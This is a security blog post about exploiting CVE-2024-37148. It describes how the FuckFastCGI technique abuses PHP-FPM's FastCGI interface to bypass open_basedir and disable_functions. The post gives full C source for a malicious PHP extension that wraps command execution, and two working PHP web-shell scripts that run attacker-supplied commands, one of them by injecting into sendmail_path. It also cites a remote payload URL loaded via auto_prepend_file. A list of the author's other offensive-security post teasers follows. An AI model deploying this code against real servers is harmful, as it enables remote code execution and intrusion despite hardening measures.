Exploiting CVE-2024-37148
Intro When it comes to input sanitisation, who is responsible, the function or the caller ? Or both ? And if no one does, hoping that the other one will do t...
Let’s render unto Caesar the things that are Caesar’s, the exploit FuckFastCGI is not mine and is a brilliant one, bypassing open_basedir
and disable_functions
by the means of external malicious library loading.
While open_basedir
can be modified at runtime and turned into open_basedir = /
, it is not the same regarding disable_functions
. The latter can only be set in the main php.ini
and cannot be overriden by a local configuration or programmatically through ini_set
or ini_alter
.
To bypass this measure, the exploit sets two other configuration values: extension
and extension_dir
. By loading an external library which itself calls the C system
function, disabled PHP functions are no more a protection.
The C code is as follows (the word TSRMLS_CC
is commented to make it work with PHP >= 8.0. Uncomment if older):
#include <php.h>
#include "hello.h"
zend_function_entry hello_functions[] = {
PHP_FE(hello_world, NULL)
PHP_FE_END
};
zend_module_entry hello_module_entry = {
STANDARD_MODULE_HEADER,
PHP_HELLO_EXTNAME,
hello_functions,
NULL,
NULL,
NULL,
NULL,
NULL,
PHP_HELLO_VERSION,
STANDARD_MODULE_PROPERTIES,
};
ZEND_GET_MODULE(hello);
PHP_FUNCTION(hello_world) {
int ret, mode = 1;
size_t s_len;
char *s;
zend_parse_parameters(ZEND_NUM_ARGS() /*TSRMLS_CC*/, "s", &s, &s_len);
ret = php_exec(mode, s, NULL, return_value);
};
This program creates a routine named hello_world
which is nothing more than a wrapper for system
, and makes it available to PHP, as soon as the extension is loaded.
In the original exploit, the following values had to be set:
// your extension directory path
$ext_dir_path = '/var/www/app/ext/';
// your extension name
$ext_name = 'hello.so';
// unix socket path or tcp host
$connect_path = 'unix:///var/run/php/php7.2-fpm.sock';
// tcp connection port (unix socket: -1)
$port = -1;
// Don't use this exploit file itself
$filepath = '/var/www/app/index.php';
// your php payload location
$prepend_file_path = 'http://kaibro.tw/gginin2';
The principle was to add a dummy index.php
somewhere on the disk, and to use the directive auto_prepend_file
to prepend the true payload, which was in turn calling hello_world
. Problem: executing a different shell command requires a new payload file (in the example, it is a remote payload on a different host. It is made possible thanks to a modification of allow_url_include
).
Actually, tweaking a little bit the exploit and adapting it based on the code from here, and we can reduce it to only one PHP and one SO file. Also, the socket path should be updated according to the type of listener:
$client = new FCGIClient("127.0.0.1:9000", -1); // or custom ip:port
//or
$client = new FCGIClient("unix:///var/run/php/php-fpm.sock", -1); //should be a symlink to the real socket file
The last part of the script changes, to avoid the need to modify the payload and to repush a file on the disk:
if (isset($_REQUEST['cmd'])) {
// ---- BEGIN CONFIG
$ext_dir_path = '/tmp';
$ext_name = 'hello.so';
// ---- END CONFIG
$req = '/'.basename(__FILE__);
$uri = $req .'?'.'command='.$_REQUEST['cmd'];
$client = new FCGIClient("127.0.0.1:9000", -1);
//$client = new FCGIClient("unix:///var/run/php/php-fpm.sock", -1);
$code = "<?php echo '\$\$';hello_world(\$_REQUEST['command']);?>";
$php_value = "allow_url_include = On\nopen_basedir = /\nauto_prepend_file = php://input";
$php_admin_value = "extension_dir=" . $ext_dir_path . "\nextension=" . $ext_name;
$params = array(
'GATEWAY_INTERFACE' => 'FastCGI/1.0',
'REQUEST_METHOD' => 'POST',
'SCRIPT_FILENAME' => __FILE__,
'SCRIPT_NAME' => $req,
'QUERY_STRING' => 'command='.$_REQUEST['cmd'],
'REQUEST_URI' => $uri,
'DOCUMENT_URI' => $req,
'PHP_VALUE' => $php_value,
'PHP_ADMIN_VALUE' => $php_admin_value,
'SERVER_SOFTWARE' => 'kaibro-fastcgi-rce',
'REMOTE_ADDR' => '127.0.0.1',
'REMOTE_PORT' => '9985',
'SERVER_ADDR' => '127.0.0.1',
'SERVER_PORT' => '80',
'SERVER_NAME' => 'localhost',
'SERVER_PROTOCOL' => 'HTTP/1.1',
'CONTENT_LENGTH' => strlen($code)
);
try{
$resp = $client->request($params, $code);
$idx = strpos($resp, '$$');
if ($idx !== false){
echo substr($resp, $idx+2);
}
}
catch(Exception $e){
echo "If you used the param cmd and it didn't print anything, please try to refresh";
}
if (function_exists("shell_exec")){
echo shell_exec("date");
}
else{
echo "Nope, shell_exec is disabled";
}
phpinfo();
}
Instead of loading an external payload, the latter is passed as a stream (php://input
). The GET argument containing the command is forwarded, and passed to hello_world
.
As shown below, the command id
can be executed, although the routines are still marked as disabled.
Well, there is even easier … We could simply modify the configuration file related to the MTA, and replace it with our own command:
if (isset($_REQUEST['cmd'])) {
$cmd = $_REQUEST['cmd'];
$req = '/'.basename(__FILE__);
//$client = new FCGIClient("127.0.0.1:9000", -1);
$client = new FCGIClient("unix:///var/run/php/php-fpm.sock", -1);
$code = "<?php mail('', '', ''); \$content = file_get_contents('/tmp/out'); if (\$content) echo '\$\$'.\$content; ?>";
$php_value = "allow_url_include = On\nopen_basedir = /\nauto_prepend_file = php://input";
$php_admin_value = "sendmail_path=$cmd > /tmp/out";
$params = array(
'GATEWAY_INTERFACE' => 'FastCGI/1.0',
'REQUEST_METHOD' => 'POST',
'SCRIPT_FILENAME' => __FILE__,
'SCRIPT_NAME' => $req,
'QUERY_STRING' => "",
'REQUEST_URI' => $req,
'DOCUMENT_URI' => $req,
'PHP_VALUE' => $php_value,
'PHP_ADMIN_VALUE' => $php_admin_value,
'SERVER_SOFTWARE' => '80sec/wofeiwo',
'REMOTE_ADDR' => '127.0.0.1',
'REMOTE_PORT' => '9985',
'SERVER_ADDR' => '127.0.0.1',
'SERVER_PORT' => '80',
'SERVER_NAME' => 'localhost',
'SERVER_PROTOCOL' => 'HTTP/1.1',
'CONTENT_LENGTH' => strlen($code)
);
$resp = $client->request($params, $code);
$idx = strpos($resp, '$$');
if ($idx !== false){
echo substr($resp, $idx+2);
}
die();
}
Exploit code (original): https://github.com/w181496/FuckFastcgi
Exploit code (fork): https://github.com/BorelEnzo/FuckFastcgi
Intro When it comes to input sanitisation, who is responsible, the function or the caller ? Or both ? And if no one does, hoping that the other one will do t...
Intro After being tasked with auditing GLPI 10.0.12, for which I uncovered two unknown vulnerabilities (CVE-2024-27930 and CVE-2024-27937), I became really i...
Intro A few weeks ago, I discovered during an intrusion test two vulnerabilities affecting GLPI 10.0.12, that was the latest public version at this time. The...
I was recently tasked with auditing the application GLPI, a few days after its latest release (10.0.12 at the time of writing). The latter stands for Gestion...
I won’t insult you by explaining once again what JSON Web Tokens (JWTs) are, and how to attack them. A plethora of awesome articles exists on the Web, descri...
A few days ago, I published a blog post about PHP webshells, ending with a discussion about filters evasion by getting rid of the pattern $_. The latter is c...
A few thoughts about PHP webshells …
I remember this carpet, at the entrance of the Computer Science faculty, with this message There’s no place like 127.0.0.1/8. A joke that would create two ca...
TL;DR A few experiments about mixed managed/unmanaged assemblies. To begin with, we start by presenting a C# programme that hides a part of its payload in an...
It was a sunny and warm summer afternoon, and while normal people would rush to the beach, I decided to devote myself to one of my favourite activities: suff...
The reader should first take a look at the articles related to CVE-2023-3032 and CVE-2023-3033 that I published a few days ago to get more context.
This walkthrough presents another vulnerability discovered on the Mobatime web application (see CVE-2023-3032, same version 06.7.2022 affected). This vulnera...
Mobatime offers various time-related products, such as check-in solutions. In versions up to 06.7.2022, an arbitrary file upload allowed an authenticated use...
King-Avis is a Prestashop module developed by Webbax. In versions older than 17.3.15, the latter suffers from an authenticated path traversal, leading to loc...
Let’s render unto Caesar the things that are Caesar’s, the exploit FuckFastCGI is not mine and is a brilliant one, bypassing open_basedir and disable_functio...
I have to admit, PHP is not my favourite, but such powerful language sometimes really amazes me. Two days ago, I found a bypass of the directive open_basedir...
PHP is a really powerful language, and as a wise man once said, with great power comes great responsibilities. There is nothing more frustrating than obtaini...
A few weeks ago, a good friend of mine asked me if it was possible to create such a program, as it could modify itself. After some thoughts, I answered that ...
In the previous article, I described how I wrote a simple polymorphic program. “Polymorphic” means that the program (the binary) changes its appearance every...
The malware presented in this blog post appeared on Google Play in 2016. I heard about it thanks to this article published on checkpoint.com. The malicious a...
Ransomwares are really interesting malwares because of their very specific purpose. Indeed, a ransomware will not necessarily try to be stealth or persistent...
A few days ago, I found this article about a malware targeting Sberbank, a big Russian bank. The app disguises itself as a web application, stealing in backg...
RuMMS is a malware targetting Russian users, distributed via websites as a file named mms.apk [1]. This article is inspired by this analysis made by FireEye ...
Could a 5-classes Android app be so harmful ? dsencrypt says “yes”…
~$ cat How_an_Android_app_could_escalate_its_privileges_Part4.txt
~$ cat How_an_Android_app_could_escalate_its_privileges_Part3.txt
~$ cat How_an_Android_app_could_escalate_its_privileges_Part2.txt
~$ cat How_an_Android_app_could_escalate_its_privileges.txt
Even if the thesis introduces the extensions internals, and analyses the difference between mobile and desktop browsers in terms of likelihood, efficiency an...